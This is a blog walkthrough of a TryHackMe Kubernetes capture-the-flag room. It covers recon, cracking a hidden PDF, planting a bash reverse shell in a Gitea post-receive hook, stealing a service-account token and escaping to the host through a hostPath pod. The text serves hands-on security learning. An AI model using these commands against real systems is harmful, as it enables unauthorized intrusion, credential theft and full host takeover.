Palsforlife – TryHackMe Challenge

Kubernetes Privilege Escalation Walkthrough – TryHackMe Palsforlife CTF Guide

· 986 words · 5 minute read

TryHackMe is an awesome platform for learning cybersecurity through hands-on labs. Their gamified approach makes diving into new tools and techniques genuinely fun. As I was progressing through various challenges, I noticed there was only one room that touched on Kubernetes.

Given how much Kubernetes has exploded in popularity in recent years, it’s becoming an increasingly attractive target — which means it’s just as important to understand how clusters can be exploited as it is to secure them. That’s what inspired me to design and propose a room focused on Kubernetes, blended with a bit of World of Warcraft flair — and thus, Palsforlife was born.

Here’s a writeup of the challenge, walking through the concepts and techniques involved:

Reconnaissance 🔗

First, we need to wait 5 minutes for the machine to fully boot up. To makes things a bit more convenient, edit your /etc/hosts file, adding a hive.thm entry to save your target IP:

x.x.x.x   palsforlife.thm

Let’s start with nmap:

nmap -A -T4 -p- palsforlife.thm -vv
PORT      STATE SERVICE           REASON  VERSION
22/tcp    open  ssh               syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp  open  ssl/sun-sr-https? syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Tue, 16 Aug 2022 23:27:26 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:palsforlife.thm, IP Address:10.10.162.251, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:172.30.18.136, IP Address:192.168.1.244
| Issuer: commonName=k3s-server-ca@1622498168
10250/tcp open  ssl/http          syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=palsforlife
| Subject Alternative Name: DNS:palsforlife, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.162.251
| Issuer: commonName=k3s-server-ca@1622498168
30180/tcp open  http              syn-ack nginx 1.21.0
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.21.0
|_http-title: 403 Forbidden
31111/tcp open  unknown           syn-ack
|   GetRequest: 
|     HTTP/1.0 200 OK
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Gitea: Git with a cup of tea</title>
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go" />
|     <meta name="keywords" content="go,git,self-hosted,gitea
31112/tcp open  ssh               syn-ack OpenSSH 7.5 (protocol 2.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 419.02 seconds

(the nmap log has been slightly redacted for readability)

We learn a few interesting things :

  • 10250 seems to indicate there is a kubernetes api server (k3s-server)

  • 30180 points to a nginx server

  • 31111 points to a gitea

Let’s run dirsearch (or gobuster) on the nginx:

dirsearch -u http://palsforlife.thm:30180/
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903

Target: http://palsforlife.thm:30180/

[01:39:10] Starting: 
[01:39:41] 200 -   13KB - /team/

Task Completed
<dirsearch.dirsearch.Program object at 0x7f6e7f2fadf0>

We find a page at http://palsforlife.thm:30180/team/ :

Screenshot of the famous Leeroy Jenkins World of Warcraft video with introductory text encouraging teammates to take action before the iconic charge

Let’s go there and display the sources.

There is an interesting anchor:

<!-- I shouldn't forget this -->
      <div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">[BASE64]</div>

Copy this found base64 in a base64_content file.

Recover the file from the base64.

cat base64_content | base64 --decode > uninteresting_file.pdf

Use pdf2john to get the hash from the password protected pdf file and crack it.

pdf2john.pl uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt

Open pdf with the found password, it looks like it contains another password.

Use this password found in the pdf to login to gitea as leeroy at http://palsforlife.thm:31111

Git hosting dashboard showing user leeroy creating and pushing updates to the repository named jenkins, with commits to the master branch

There is a repo already created, let’s look into its webhooks.

We find that a webhook has already been created, let’s edit it and inspect the secret field to find the first flag.

Gaining System Access 🔗

Next, let’s abuse Git hooks.

Inject a reverse shell in the post-receive hook.

#!/bin/bash
bash -i >& /dev/tcp/YOUR_LOCAL_IP/4444 0>&1

Git repository settings page for leeroy/jenkins showing Git Hooks section with pre-receive, update, and post-receive hooks

Run a netcat listener on the attack machine:

nc -lvnp 4444

Clone the repo and push some modifications :

git clone http://palsforlife.thm:31111/leeroy/jenkins.git
cd jenkins
touch test
git add test
git ci -m "test"
git push origin master

We then get a reverse shell on the machine!

Get the second flag

cat /root/flag2.txt

Get the kubernetes service account token:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Save it in a token.txt file on the attack machine.

What can we do with this token?

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 auth can-i --list

Apparently everything :

Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

That’s what happen when RBAC is not enabled in the cluster :-)

Find the 3rd flag in a secret resource.

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 -n kube-system get secret flag3 -o json | jq -r '.data | map_values(@base64d)'

Privilege escalation 🔗

Look at the docker images that are available in the node:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 get node -o yaml

Let’s use the nginx image

docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750)

host.yaml

apiVersion: v1
kind: Pod
metadata:
  name: host
spec:
  containers:
  - image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    name: host
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - mountPath: /host
      name: host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

and then run:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default apply -f host.yaml

Access the newly created pod:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default exec -it host bash

We just mounted the node filesystem!

Let’s get the root flag.

cat /host/root/root.txt

And we’re done! Congrats!!